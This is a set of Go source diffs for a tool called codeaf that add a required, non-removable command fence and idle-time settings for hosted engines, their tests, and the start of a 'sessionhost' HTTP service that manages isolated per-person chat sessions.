"github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/home" +) + +// ── THE TWO KNOBS A HOSTED ENGINE IS STARTED WITH ────────────────────────── +// +// A codeaf engine that runs on a server for somebody who is not at that +// machine (the organization's hosted chats) is started by its supervisor with +// two environment variables and nothing else different from the engine a +// laptop runs. Both are read here, in one small file, so that "what changes +// when the supervisor says so" can be read in one place, and so that an engine +// started without them is, line for line, the engine this program has always +// been (contract C8). +// +// NEITHER IS A SETTING A PERSON CAN REACH. They are environment, set by the +// process that starts the engine under its own account; a chat's own files +// cannot write them, and the profile and the repository's config are not read +// for them. + +// hostedFenceEnv turns the command fence on for every hello of this engine. +const hostedFenceEnv = "CODEAF_FENCE_REQUIRE" + +// hostedIdleEnv is the idle window of this engine's host, as a Go duration. +const hostedIdleEnv = "CODEAF_ENGINE_IDLE" + +// hostedFenceRequired is whether this engine's commands must be confined. +// ONLY THE EXACT WORD 1 COUNTS: a supervisor that meant yes says 1, and a +// stray "0", "false" or an empty variable must not turn a requirement on for an +// engine that was never meant to carry one. +func hostedFenceRequired() bool { + return strings.TrimSpace(env.Get(hostedFenceEnv)) == "1" +} + +// hostedEngineIdle is the idle window the supervisor asked this engine's host +// to keep, and false when it asked for none. A value that is not a duration, +// or is shorter than [enginehost.MinIdleOverride], is IGNORED and said once on +// stderr (which is the host's log): the host keeps its usual window, because a +// typo must not turn a half-hour grace into a host that retires every chat +// the moment a window closes. +func hostedEngineIdle() (time.Duration, bool) { + raw := strings.TrimSpace(env.Get(hostedIdleEnv)) + if raw == "" { + return 0, false + } + d, err := time.ParseDuration(raw) + if err != nil || d < enginehost.MinIdleOverride { + fmt.Fprintf(os.Stderr, "codeaf engine: %s=%q is not a time of at least %s, so the usual idle time stays\n", + hostedIdleEnv, raw, enginehost.MinIdleOverride) + return 0, false + } + return d, true +} + +// engineFencePlan decides how a hello's engine is fenced: whether it is +// fenced at all (a headless hello always is, as `--once` is; a hosted engine's +// every hello is) and whether that fence is a requirement. It is a pure +// function of the two facts so that "an interactive hello on a hosted engine is +// fenced, and on any other engine is not" is checked without booting one. +func engineFencePlan(headless, required bool) (fenced, require bool) { + return headless || required, required +} + +// hostedFence is the fence a hosted engine's commands keep to: the same fence +// [unattendedFence] draws for a run nobody is watching, made a requirement. +// +// THE PERSON'S OWN "turn the fence off" WORDS ARE IGNORED HERE. Everywhere else +// `jail.allow: off` is the owner of the machine choosing to run their own +// commands open, and the fence honours it. On a hosted engine the commands are +// somebody else's chat on the operator's machine, and the repository's config +// is a file the chat itself can write, so honouring it would let one command +// remove the fence from every command after it. The widening PATHS are still +// read: they only widen what the chat's own account can already reach. +func hostedFence(workspace, profileDir string) (*executor.Fence, error) { + if strings.TrimSpace(workspace) == "" { + return nil, fmt.Errorf("codeaf does not know which folder this run works in, so it cannot keep its commands inside it") + } + words, err := config.JailAllowAt(executor.RepositoryOf(workspace), profileDir) + if err != nil { + return nil, err + } + person, _ := os.UserHomeDir() + state := home.Join("jail") + pruneFenceState(state, fenceStateMaxAge) + return requiredFence(executor.FenceOptions{ + Root: workspace, + Home: person, + CodeafHome: home.Dir(), + OtherCodeafHomes: otherCodeafHomes(person), + StateDir: state, + Allow: executor.ParseFenceAllow(person, words...), + Canvases: []string{deskCanvasRoot(os.Getenv, person, runtime.GOOS)}, + }) +} + +// requiredFence is [executor.NewFence] with the two things a hosted engine's +// fence must be: never turned off by its own options, and a requirement. +func requiredFence(opts executor.FenceOptions) (*executor.Fence, error) { + opts.Allow.Off = false + fence, err := executor.NewFence(opts) + if err != nil { + return nil, err + } + fence.Require = true + return fence, nil +} diff --git a/cmd/codeaf/engine_hosted_test.go b/cmd/codeaf/engine_hosted_test.go new file mode 100644 index 0000000000..414e10acdf --- /dev/null +++ b/cmd/codeaf/engine_hosted_test.go @@ -0,0 +1,92 @@ +package main + +import ( + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// The contract, in the words of the operator who starts hosted chats: +// +// C4 an engine started with the requirement fences every conversation it +// opens, the one a person is typing into as much as a scripted one, and +// that fence cannot be switched off by anything the chat itself can write. +// C7 an engine started with an idle time honours a real duration and ignores +// anything that is not one. +// C8 an engine started without the variables is the engine this program has +// always been: a typing person gets no fence, a scripted run gets the +// usual one. + +func TestC4_HostedEnvTurnsOnTheFenceForInteractiveHello(t *testing.T) { + for value, want := range map[string]bool{ + "1": true, " 1 ": true, + "": false, "0": false, "false": false, "true": false, "yes": false, "11": false, + } { + t.Setenv(hostedFenceEnv, value) + if got := hostedFenceRequired(); got != want { + t.Errorf("%s=%q: required = %v, want %v", hostedFenceEnv, value, got, want) + } + } + + t.Setenv(hostedFenceEnv, "1") + fenced, required := engineFencePlan(false, hostedFenceRequired()) + if !fenced || !required { + t.Fatalf("an interactive hello on a hosted engine: fenced %v, required %v; want both", fenced, required) + } + fenced, required = engineFencePlan(true, hostedFenceRequired()) + if !fenced || !required { + t.Fatalf("a headless hello on a hosted engine: fenced %v, required %v; want both", fenced, required) + } +} + +func TestC8_EngineFenceUnchangedByDefault(t *testing.T) { + t.Setenv(hostedFenceEnv, "") + if hostedFenceRequired() { + t.Fatal("the requirement is on with the variable empty") + } + if fenced, required := engineFencePlan(false, hostedFenceRequired()); fenced || required { + t.Fatalf("an interactive hello got fenced (%v, required %v) on an engine nobody asked to fence", fenced, required) + } + if fenced, required := engineFencePlan(true, hostedFenceRequired()); !fenced || required { + t.Fatalf("a headless hello is fenced %v, required %v; it must be fenced as --once is, and not required", fenced, required) + } +} + +func TestC4_HostedFenceCannotBeTurnedOffByItsOwnWords(t *testing.T) { + root := t.TempDir() + off := executor.ParseFenceAllow("", "off") + if !off.Off { + t.Fatal("the fixture's off word was not read as off") + } + opts := executor.FenceOptions{Root: root, StateDir: t.TempDir(), Allow: off} + + // Everywhere else, the person's own words may remove the fence. + if plain, err := executor.NewFence(opts); err != nil || plain != nil { + t.Fatalf("the ordinary fence with off words: %v, %v; want none", plain, err) + } + fence, err := requiredFence(opts) + if err != nil { + t.Fatal(err) + } + if fence == nil || !fence.Require { + t.Fatalf("a hosted engine's fence was removed or lost its requirement by the chat's own off words: %+v", fence) + } +} + +func TestC7_HostedEngineIdleReadsOnlyAValidDuration(t *testing.T) { + for value, want := range map[string]time.Duration{ + "8s": 8 * time.Second, "5s": 5 * time.Second, "90m": 90 * time.Minute, " 30s ": 30 * time.Second, + } { + t.Setenv(hostedIdleEnv, value) + if got, ok := hostedEngineIdle(); !ok || got != want { + t.Errorf("%s=%q: got %v, %v; want %v, true", hostedIdleEnv, value, got, ok, want) + } + } + for _, value := range []string{"", "4s", "0", "-10s", "banana", "10", "1ms"} { + t.Setenv(hostedIdleEnv, value) + if got, ok := hostedEngineIdle(); ok { + t.Errorf("%s=%q was applied as %v; it is empty, not a duration, or below the floor", hostedIdleEnv, value, got) + } + } +} diff --git a/internal/enginehost/host.go b/internal/enginehost/host.go index 91f24d2952..e26c1ed1b3 100644 --- a/internal/enginehost/host.go +++ b/internal/enginehost/host.go @@ -55,11 +55,45 @@ var ErrHostRunning = errors.New("engine host: another host already holds this wo // (internal/remote's automations.go). A host with nobody attached holds no // window, so whether it stays up or leaves changes nothing the clock counts. // sessionIdle is a var rather than a const so a test can ask what the policy -// DECIDES without waiting half an hour to find out. Nothing in the product -// writes it. +// DECIDES without waiting half an hour to find out. The product writes it in +// exactly one place, [ApplyIdleOverride], once, at host start-up. var sessionIdle = 30 * time.Minute -const hostIdle = 2 * time.Minute +// hostIdle is how long a host with nothing left to hold waits before it +// leaves. It is a var for [ApplyIdleOverride]'s reason, and like sessionIdle it +// is written once, before the host starts its clock. +var hostIdle = 2 * time.Minute + +// MinIdleOverride is the shortest idle window [ApplyIdleOverride] accepts. A +// window shorter than this would retire a conversation between two keystrokes +// of somebody typing slowly, which is a misconfiguration and never a policy. +const MinIdleOverride = 5 * time.Second + +// minSweepSpan is the quickest the policy ever looks, so a short window does +// not turn the sweep into a busy loop. +const minSweepSpan = 500 * time.Millisecond + +// ApplyIdleOverride shrinks (or sets) the idle policy for a host whose +// supervisor wants chats to be let go sooner than a person's own laptop would: +// the window a quiet conversation is kept becomes d, the wait before an empty +// host leaves becomes the smaller of its usual two minutes and d, and the +// sweep looks at least four times per window, never faster than twice a +// second and never slower than its usual half-minute. It answers whether it +// applied anything: a d below [MinIdleOverride] is ignored, and a host that is +// never given an override keeps every number as it was. +// +// IT MUST BE CALLED BEFORE [Run]: the three numbers are read by the host's +// goroutines and are not guarded, because they are written once at start-up +// and never again. +func ApplyIdleOverride(d time.Duration) bool { + if d < MinIdleOverride { + return false + } + sessionIdle = d + hostIdle = min(2*time.Minute, d) + sweepEvery.Store(int64(min(30*time.Second, max(d/4, minSweepSpan)))) + return true +} // sweepEvery is how often the policy above looks: a product's half-minute, or a // test's override, since a test watching a host take its quiet moment should not diff --git a/internal/enginehost/idle_override_test.go b/internal/enginehost/idle_override_test.go new file mode 100644 index 0000000000..7f6ed442ad --- /dev/null +++ b/internal/enginehost/idle_override_test.go @@ -0,0 +1,82 @@ +package enginehost + +import ( + "testing" + "time" +) + +// The contract, in the words of the operator who starts hosted chats: +// +// C7 an engine started with an idle window keeps a quiet chat for exactly +// that long, waits no longer than that before an empty host leaves, and +// looks for idle chats often enough to honour it; an engine started with +// none, or with a window too short to be meant, behaves as it always did. + +// pristineIdlePolicy puts the three policy values back to the product's own +// numbers for the length of one test and restores whatever was there. +func pristineIdlePolicy(t *testing.T) { + t.Helper() + wasSession, wasHost, wasSweep := sessionIdle, hostIdle, sweepEvery.Load() + t.Cleanup(func() { + sessionIdle, hostIdle = wasSession, wasHost + sweepEvery.Store(wasSweep) + }) + sessionIdle, hostIdle = 30*time.Minute, 2*time.Minute + sweepEvery.Store(0) +} + +func TestC7_EngineIdleOverrideShrinksTheWindows(t *testing.T) { + t.Run("none given leaves the usual windows", func(t *testing.T) { + pristineIdlePolicy(t) + if sessionIdle != 30*time.Minute || hostIdle != 2*time.Minute || sweepSpan() != 30*time.Second { + t.Fatalf("defaults moved: chat %v, host %v, sweep %v; want 30m, 2m, 30s", sessionIdle, hostIdle, sweepSpan()) + } + }) + t.Run("eight seconds shrinks all three together", func(t *testing.T) { + pristineIdlePolicy(t) + if !ApplyIdleOverride(8 * time.Second) { + t.Fatal("eight seconds was refused") + } + if sessionIdle != 8*time.Second || SessionIdleAfter() != 8*time.Second { + t.Fatalf("a quiet chat is kept %v, want 8s", sessionIdle) + } + if hostIdle != 8*time.Second { + t.Fatalf("an empty host waits %v before leaving, want 8s (the smaller of 2m and the window)", hostIdle) + } + if sweepSpan() != 2*time.Second { + t.Fatalf("the sweep looks every %v, want 2s (a quarter of the window)", sweepSpan()) + } + }) + t.Run("a long window never makes the host wait or look more slowly", func(t *testing.T) { + pristineIdlePolicy(t) + if !ApplyIdleOverride(3 * time.Hour) { + t.Fatal("three hours was refused") + } + if sessionIdle != 3*time.Hour { + t.Fatalf("a quiet chat is kept %v, want 3h", sessionIdle) + } + if hostIdle != 2*time.Minute || sweepSpan() != 30*time.Second { + t.Fatalf("host wait %v and sweep %v grew past their usual 2m and 30s", hostIdle, sweepSpan()) + } + }) + t.Run("below the floor is ignored", func(t *testing.T) { + for _, d := range []time.Duration{4 * time.Second, time.Millisecond, 0, -time.Hour} { + pristineIdlePolicy(t) + if ApplyIdleOverride(d) { + t.Fatalf("%v was applied, but it is below the floor of %v", d, MinIdleOverride) + } + if sessionIdle != 30*time.Minute || hostIdle != 2*time.Minute || sweepSpan() != 30*time.Second { + t.Fatalf("%v changed the policy anyway: chat %v, host %v, sweep %v", d, sessionIdle, hostIdle, sweepSpan()) + } + } + }) + t.Run("the floor itself is accepted and never sweeps faster than twice a second", func(t *testing.T) { + pristineIdlePolicy(t) + if !ApplyIdleOverride(MinIdleOverride) { + t.Fatal("the floor itself was refused") + } + if sweepSpan() < 500*time.Millisecond { + t.Fatalf("the sweep looks every %v, faster than twice a second", sweepSpan()) + } + }) +} From fe8146a33c3fff3d790d815a43487a9ac0d678f4 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:23:28 -0500 Subject: [PATCH 025/176] sessionhost: the machine hosted chats run on, one Linux user and one folder per chat codeaf sessionhost serve|probe|health, plus the hidden helpers it re-executes as the chat's user. The supervisor keeps five capabilities, fails closed when it cannot switch users or confine commands, and answers its API only to the organization server's shared secret and a named person. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/beltdoors_test.go | 6 +- cmd/codeaf/main.go | 4 + cmd/codeaf/sessionhost.go | 118 +++++++ internal/sessionhost/api.go | 377 +++++++++++++++++++++ internal/sessionhost/api_test.go | 383 ++++++++++++++++++++++ internal/sessionhost/caps_linux.go | 62 ++++ internal/sessionhost/config.go | 93 ++++++ internal/sessionhost/config_test.go | 39 +++ internal/sessionhost/doc.go | 6 + internal/sessionhost/launch_linux.go | 187 +++++++++++ internal/sessionhost/launch_linux_test.go | 128 ++++++++ internal/sessionhost/launcher_linux.go | 150 +++++++++ internal/sessionhost/layout.go | 118 +++++++ internal/sessionhost/lifecycle_test.go | 120 +++++++ internal/sessionhost/platform_other.go | 32 ++ internal/sessionhost/probe.go | 54 +++ internal/sessionhost/probe_linux.go | 82 +++++ internal/sessionhost/procs_linux.go | 177 ++++++++++ internal/sessionhost/reap_linux.go | 136 ++++++++ internal/sessionhost/registry.go | 149 +++++++++ internal/sessionhost/registry_test.go | 85 +++++ internal/sessionhost/server.go | 326 ++++++++++++++++++ internal/sessionhost/uidpool.go | 28 ++ internal/sessionhost/wire_linux.go | 284 ++++++++++++++++ internal/sessionhost/wire_test.go | 153 +++++++++ 25 files changed, 3296 insertions(+), 1 deletion(-) create mode 100644 cmd/codeaf/sessionhost.go create mode 100644 internal/sessionhost/api.go create mode 100644 internal/sessionhost/api_test.go create mode 100644 internal/sessionhost/caps_linux.go create mode 100644 internal/sessionhost/config.go create mode 100644 internal/sessionhost/config_test.go create mode 100644 internal/sessionhost/doc.go create mode 100644 internal/sessionhost/launch_linux.go create mode 100644 internal/sessionhost/launch_linux_test.go create mode 100644 internal/sessionhost/launcher_linux.go create mode 100644 internal/sessionhost/layout.go create mode 100644 internal/sessionhost/lifecycle_test.go create mode 100644 internal/sessionhost/platform_other.go create mode 100644 internal/sessionhost/probe.go create mode 100644 internal/sessionhost/probe_linux.go create mode 100644 internal/sessionhost/procs_linux.go create mode 100644 internal/sessionhost/reap_linux.go create mode 100644 internal/sessionhost/registry.go create mode 100644 internal/sessionhost/registry_test.go create mode 100644 internal/sessionhost/server.go create mode 100644 internal/sessionhost/uidpool.go create mode 100644 internal/sessionhost/wire_linux.go create mode 100644 internal/sessionhost/wire_test.go diff --git a/cmd/codeaf/beltdoors_test.go b/cmd/codeaf/beltdoors_test.go index 66d0705ce4..f4a922c78c 100644 --- a/cmd/codeaf/beltdoors_test.go +++ b/cmd/codeaf/beltdoors_test.go @@ -47,8 +47,12 @@ const helpLineCap = 123 // - `show` and `revise` are the old top-level spellings of `plan show` and // `plan revise`; the page names the commands they became. // - `help` is the alias for `--help` itself. +// - `sessionhost` is the hosting service the organization's Compose stack +// starts in its own container (`probe` and `health` are the checks an +// operator runs there); a person never types it, and the manual's page on +// where hosted chats run says what it is for. var doorsOffThePage = map[string]bool{ - "cell": true, "identity": true, "relay": true, "engine": true, "app": true, "tick": true, "clock": true, "wake": true, "show": true, "revise": true, "help": true, + "cell": true, "identity": true, "relay": true, "engine": true, "app": true, "tick": true, "clock": true, "wake": true, "show": true, "revise": true, "help": true, "sessionhost": true, } // THE FIRST GESTURE ON AN UNFAMILIAR DOOR IS `-h`, and it must not be a diff --git a/cmd/codeaf/main.go b/cmd/codeaf/main.go index 9dc7caed8f..b5f96382be 100644 --- a/cmd/codeaf/main.go +++ b/cmd/codeaf/main.go @@ -321,6 +321,10 @@ func run() error { // command that draws nothing and reads no keys would only be a puzzle // in a list of commands that do. return runRemoteEngine(os.Args[2:]) + case "sessionhost": + // The compose stack starts this machinery, so it is deliberately + // absent from the usage text. + return runSessionhost(os.Args[2:]) case "app": // The desktop app's backend: JSON lines on this process's own pipes, // every agent held in this one process (app.go). Like `engine` it is diff --git a/cmd/codeaf/sessionhost.go b/cmd/codeaf/sessionhost.go new file mode 100644 index 0000000000..4e106c4a1e --- /dev/null +++ b/cmd/codeaf/sessionhost.go @@ -0,0 +1,118 @@ +package main + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net" + "net/http" + "os" + "os/signal" + "syscall" + "time" + + "github.com/Agent-Field/codeaf/internal/sessionhost" +) + +// Helpers must bypass normal startup because it adopts and writes to the +// configured home. The launch helper is still root when it enters here. +func init() { + if len(os.Args) < 3 || os.Args[1] != "sessionhost" { + return + } + if code, handled := runSessionhostHelper(os.Args[2:]); handled { + os.Exit(code) + } +} + +func runSessionhostHelper(args []string) (int, bool) { + if len(args) > 0 { + switch args[0] { + case "launch", "reap", "whoami": + return sessionhost.RunHelper(args), true + } + } + return 0, false +} + +func runSessionhost(args []string) error { + if code, handled := runSessionhostHelper(args); handled { + if code != 0 { + return exitStatus(code) + } + return nil + } + if len(args) != 1 { + return errors.New("Choose serve, probe or health.") + } + cfg, err := sessionhost.ConfigFromEnv(os.Getenv) + if err != nil { + return err + } + switch args[0] { + case "serve": + // THE SUPERVISOR NARROWS ITSELF BEFORE IT MEASURES ANYTHING, so the + // probe it publishes describes the process that will actually run: five + // capabilities, whatever the platform handed root. A failure is said + // once and is not fatal, because the identity switch refuses on its own + // when the privilege it needs is missing. + if err := sessionhost.RestrictSupervisor(); err != nil { + fmt.Fprintln(os.Stderr, "sessionhost: "+err.Error()) + } + report := sessionhost.Probe(cfg) + if report.OK { + fmt.Fprintln(os.Stderr, "sessionhost: mode "+report.Mode) + } else { + fmt.Fprintln(os.Stderr, "refused: "+report.Reason) + } + ctx, cancel := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + defer cancel() + return sessionhost.ListenAndServe(ctx, cfg, report) + case "probe": + report := sessionhost.Probe(cfg) + out := json.NewEncoder(os.Stdout) + out.SetIndent("", " ") + if err := out.Encode(report); err != nil { + return err + } + if !report.OK { + return exitStatus(1) + } + return nil + case "health": + if !sessionhostHealthy(cfg) { + return exitStatus(1) + } + return nil + default: + return errors.New("Choose serve, probe or health.") + } +} + +func sessionhostHealthy(cfg sessionhost.Config) bool { + _, port, err := net.SplitHostPort(cfg.Listen) + if err != nil { + return false + } + req, err := http.NewRequest(http.MethodGet, "http://"+net.JoinHostPort("127.0.0.1", port)+"/v1/health", nil) + if err != nil { + return false + } + req.Header.Set("Authorization", "Bearer "+cfg.Secret) + client := &http.Client{ + Timeout: 5 * time.Second, + // A health check uses the loopback server directly. + Transport: &http.Transport{}, + CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }, + } + res, err := client.Do(req) + if err != nil { + return false + } + defer res.Body.Close() + var health struct { + OK bool `json:"ok"` + } + return res.StatusCode == http.StatusOK && json.NewDecoder(res.Body).Decode(&health) == nil && health.OK +} diff --git a/internal/sessionhost/api.go b/internal/sessionhost/api.go new file mode 100644 index 0000000000..7ee5a1ecb4 --- /dev/null +++ b/internal/sessionhost/api.go @@ -0,0 +1,377 @@ +//go:build linux + +package sessionhost + +import ( + "crypto/sha256" + "crypto/subtle" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "net/url" + "os" + "slices" + "strings" + "sync" + "time" +) + +type refusal int + +const ( + noChat refusal = iota + cannotIsolate + noModel + hostFull + personFull + badRequest + badID + alreadyExists + noRoom + createFailed + readFailed + stopFailed + deleteFailed + unavailable + badWire + noRoute + badMethod +) + +var refusalText = [...]string{ + noChat: "There is no such chat.", + cannotIsolate: "This server cannot keep your chat apart from other people's, so it did not start one.", + noModel: "This chat has no model access yet.", + hostFull: "Waiting for a free slot (%d of %d in use).", + personFull: "You already have %d chats running; stop one first.", + badRequest: "This chat needs a valid model address and access token.", + badID: "This chat has an invalid identifier.", + alreadyExists: "This chat already exists.", + noRoom: "This server has no room for another chat right now.", + createFailed: "This chat could not be created.", + readFailed: "The server could not check which chats are running.", + stopFailed: "This chat could not be stopped.", + deleteFailed: "This chat could not be deleted.", + unavailable: "This chat is unavailable right now.", + badWire: "This request could not connect to the chat.", + noRoute: "This address does not exist.", + badMethod: "This request is unavailable at that address.", +} + +const warningUID = "This server keeps your chat apart from other people's, but does not limit what its commands can reach." + +type credentials struct { + ModelURL string `json:"model_url"` + ModelToken string `json:"model_token"` +} + +func (c credentials) valid() bool { + u, err := url.Parse(c.ModelURL) + return err == nil && (u.Scheme == "http" || u.Scheme == "https") && + u.Hostname() != "" && u.User == nil && c.ModelToken != "" && + !strings.ContainsRune(c.ModelToken, 0) +} + +type createdChat struct { + ID string `json:"id"` + State string `json:"state"` + Created time.Time `json:"created"` + Warning string `json:"warning,omitempty"` +} + +type chatStatus struct { + createdChat + LastActive time.Time `json:"last_active"` +} + +func (s *supervisor) status(row sessionRow, live processTable) chatStatus { + state := "suspended" + if !row.Missing && len(live[row.UID]) > 0 { + state = "running" + } + return chatStatus{ + createdChat: createdChat{ID: row.ID, State: state, Created: row.Created, Warning: s.warning()}, + LastActive: row.LastActive, + } +} + +func (s *supervisor) warning() string { + if s.report.Mode == modeUID { + return warningUID + } + return "" +} + +type requestWriter struct { + http.ResponseWriter + status int +} + +func (w *requestWriter) WriteHeader(status int) { + if w.status != 0 { + return + } + w.status = status + w.ResponseWriter.WriteHeader(status) +} + +func (w *requestWriter) Unwrap() http.ResponseWriter { return w.ResponseWriter } + +func writeJSON(w http.ResponseWriter, status int, value any) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _ = json.NewEncoder(w).Encode(value) +} + +func respondError(w http.ResponseWriter, status int, code refusal, args ...any) { + sentence := refusalText[code] + if len(args) > 0 { + sentence = fmt.Sprintf(sentence, args...) + } + writeJSON(w, status, struct { + Error string `json:"error"` + }{sentence}) +} + +func decode(w http.ResponseWriter, r *http.Request, data any) bool { + dec := json.NewDecoder(http.MaxBytesReader(w, r.Body, 64<<10)) + return dec.Decode(data) == nil && errors.Is(dec.Decode(new(any)), io.EOF) +} + +func (s *supervisor) ServeHTTP(out http.ResponseWriter, r *http.Request) { + w := &requestWriter{ResponseWriter: out} + start := time.Now() + method := "OTHER" + switch r.Method { + case http.MethodGet, http.MethodPost, http.MethodPut, http.MethodDelete: + method = r.Method + } + path := "/unknown" + // An upgraded connection is logged at handshake, before its long-lived + // body drains. Other requests use the same one-line log on return. + logRequest := sync.OnceFunc(func() { + s.log.Info("request", "method", method, "path", path, "status", w.status, "duration", time.Since(start)) + }) + defer logRequest() + token, bearer := strings.CutPrefix(r.Header.Get("Authorization"), "Bearer ") + provided := sha256.Sum256([]byte(token)) + person := strings.ToLower(strings.TrimSpace(r.Header.Get("X-Codeaf-Person"))) + health := r.URL.Path == "/v1/health" + if !bearer || subtle.ConstantTimeCompare(provided[:], s.secret[:]) != 1 || + (!health && !personHandle.MatchString(person)) { + w.WriteHeader(http.StatusUnauthorized) + return + } + if health { + path = "/v1/health" + if r.Method != http.MethodGet { + respondError(w, http.StatusMethodNotAllowed, badMethod) + return + } + writeJSON(w, http.StatusOK, struct { + OK bool `json:"ok"` + Mode string `json:"mode"` + Reason string `json:"reason"` + }{s.report.OK, s.report.Mode, s.report.Reason}) + return + } + if r.URL.Path == "/v1/sessions" { + path = "/v1/sessions" + switch r.Method { + case http.MethodGet: + s.list(w, person) + case http.MethodPost: + s.create(w, r, person) + default: + respondError(w, http.StatusMethodNotAllowed, badMethod) + } + return + } + rest, ok := strings.CutPrefix(r.URL.Path, "/v1/sessions/") + if !ok { + respondError(w, http.StatusNotFound, noRoute) + return + } + id, suffix, _ := strings.Cut(rest, "/") + if !sessionID.MatchString(id) { + respondError(w, http.StatusNotFound, noChat) + return + } + path = "/v1/sessions/" + id + switch suffix { + case "wire", "stop", "credentials": + path += "/" + suffix + } + if suffix == "wire" && r.Method == http.MethodGet { + s.wire(w, r, person, id, logRequest) + return + } + s.session(w, r, id, suffix, person) +} + +func (s *supervisor) create(w http.ResponseWriter, r *http.Request, person string) { + if !s.report.OK { + respondError(w, http.StatusServiceUnavailable, cannotIsolate) + return + } + var body struct { + ID string `json:"id"` + credentials + } + if !decode(w, r, &body) || !body.credentials.valid() { + respondError(w, http.StatusBadRequest, badRequest) + return + } + if !sessionID.MatchString(body.ID) { + respondError(w, http.StatusBadRequest, badID) + return + } + s.mu.Lock() + defer s.mu.Unlock() + if s.closing { + respondError(w, http.StatusServiceUnavailable, unavailable) + return + } + if _, exists := s.registry.sessions[body.ID]; exists { + respondError(w, http.StatusConflict, alreadyExists) + return + } + live, err := s.processes.snapshot() + if err != nil { + respondError(w, http.StatusInternalServerError, readFailed) + return + } + now := s.now().UTC() + uid := s.registry.allocate(s.cfg, live, now) + if uid == 0 { + respondError(w, http.StatusServiceUnavailable, noRoom) + return + } + row := sessionRow{ID: body.ID, Person: person, UID: uid, Created: now, LastActive: now} + made, err := s.buildLayout(row) + if err == nil { + err = s.registry.put(row) + } + if err != nil { + if made { + s.rollbackLayout(row) + } + respondError(w, http.StatusInternalServerError, createFailed) + return + } + s.creds[row.ID] = body.credentials + writeJSON(w, http.StatusCreated, s.status(row, live).createdChat) +} + +func (s *supervisor) list(w http.ResponseWriter, person string) { + s.mu.Lock() + defer s.mu.Unlock() + var owned []sessionRow + for _, row := range s.registry.sessions { + if row.Person == person { + owned = append(owned, row) + } + } + statuses := make([]chatStatus, 0, len(owned)) + if len(owned) > 0 { + live, err := s.processes.snapshot() + if err != nil { + respondError(w, http.StatusInternalServerError, readFailed) + return + } + for _, row := range owned { + statuses = append(statuses, s.status(row, live)) + } + slices.SortFunc(statuses, func(a, b chatStatus) int { + if cmp := b.LastActive.Compare(a.LastActive); cmp != 0 { + return cmp + } + return strings.Compare(a.ID, b.ID) + }) + } + writeJSON(w, http.StatusOK, struct { + Sessions []chatStatus `json:"sessions"` + }{statuses}) +} + +func (s *supervisor) session(w http.ResponseWriter, r *http.Request, id, suffix, person string) { + // Read an update body before taking the state lock. Ownership still + // determines the response before any validation error is exposed. + var creds credentials + valid := false + if suffix == "credentials" && r.Method == http.MethodPut { + valid = decode(w, r, &creds) && creds.valid() + } + s.mu.Lock() + defer s.mu.Unlock() + row, exists := s.registry.sessions[id] + if !exists || row.Person != person { + respondError(w, http.StatusNotFound, noChat) + return + } + switch { + case suffix == "" && r.Method == http.MethodGet: + live, err := s.processes.snapshot() + if err != nil { + respondError(w, http.StatusInternalServerError, readFailed) + return + } + writeJSON(w, http.StatusOK, s.status(row, live)) + case suffix == "" && r.Method == http.MethodDelete: + s.stop(w, row, true) + case suffix == "stop" && r.Method == http.MethodPost: + s.stop(w, row, false) + case suffix == "credentials" && r.Method == http.MethodPut: + if !valid { + respondError(w, http.StatusBadRequest, badRequest) + return + } + s.creds[id] = creds + w.WriteHeader(http.StatusNoContent) + default: + respondError(w, http.StatusMethodNotAllowed, badMethod) + } +} + +func (s *supervisor) stop(w http.ResponseWriter, row sessionRow, deleting bool) { + delete(s.creds, row.ID) + wireErr := s.stopWires(row.ID) + if err := s.processes.KillAll(row.UID, stopGrace); err != nil || wireErr != nil { + if deleting { + s.retainDoomed(row) + } + respondError(w, http.StatusInternalServerError, stopFailed) + return + } + row.LastActive = s.now().UTC() + if deleting { + if !s.deleteSession(row) { + respondError(w, http.StatusInternalServerError, deleteFailed) + return + } + } else { + folders, err := s.folders(row) + row.Missing = errors.Is(err, os.ErrNotExist) + if err == nil { + err = s.launcher.reap(row.UID, folders, reapTmp) + } + if (err != nil && !row.Missing) || s.registry.put(row) != nil { + respondError(w, http.StatusInternalServerError, stopFailed) + return + } + } + w.WriteHeader(http.StatusNoContent) +} + +func (s *supervisor) deleteSession(row sessionRow) bool { + // Persist the cleanup intent before removing files so a restart after + // partial removal cannot reopen the chat. + row.Doomed = true + if s.registry.put(row) != nil { + s.registry.sessions[row.ID] = row + return false + } + return s.removeLayout(row) == nil && s.registry.remove(row.ID, s.now().UTC()) == nil +} diff --git a/internal/sessionhost/api_test.go b/internal/sessionhost/api_test.go new file mode 100644 index 0000000000..9b6295a498 --- /dev/null +++ b/internal/sessionhost/api_test.go @@ -0,0 +1,383 @@ +//go:build linux + +package sessionhost + +import ( + "bytes" + "encoding/json" + "errors" + "io" + "log/slog" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + "time" +) + +const ( + chatA = "hs_aaaaaaaaaaaaaaaaaaaaaaaa" + chatB = "hs_bbbbbbbbbbbbbbbbbbbbbbbb" + chatC = "hs_cccccccccccccccccccccccc" +) + +func testConfig(t *testing.T) Config { + t.Helper() + cfg, err := ConfigFromEnv(func(key string) string { + if key == "CODEAF_SESSIONHOST_SECRET" { + return strings.Repeat("s", 32) + } + return "" + }) + if err != nil { + t.Fatal(err) + } + cfg.Data = t.TempDir() + return cfg +} + +type fakeProcesses struct { + live processTable +} + +func (p *fakeProcesses) snapshot() (processTable, error) { return p.live, nil } + +func (p *fakeProcesses) KillAll(uid int, _ time.Duration) error { + delete(p.live, uid) + return nil +} + +type fakeLauncher struct { + starts int + reaps int +} + +func (l *fakeLauncher) reap(_ int, folders layout, mode reapMode) error { + l.reaps++ + fd, err := openReapDir(folders.dir) + if err != nil { + return err + } + defer fd.Close() + return reapAt(int(fd.Fd()), mode) +} + +func (l *fakeLauncher) start(_ int, _ layout, _ []string) (*engineChild, error) { + l.starts++ + return nil, errors.New("fixture has no child") +} + +func testSupervisor(t *testing.T, cfg Config, report Report) (*supervisor, *fakeLauncher, *fakeProcesses) { + t.Helper() 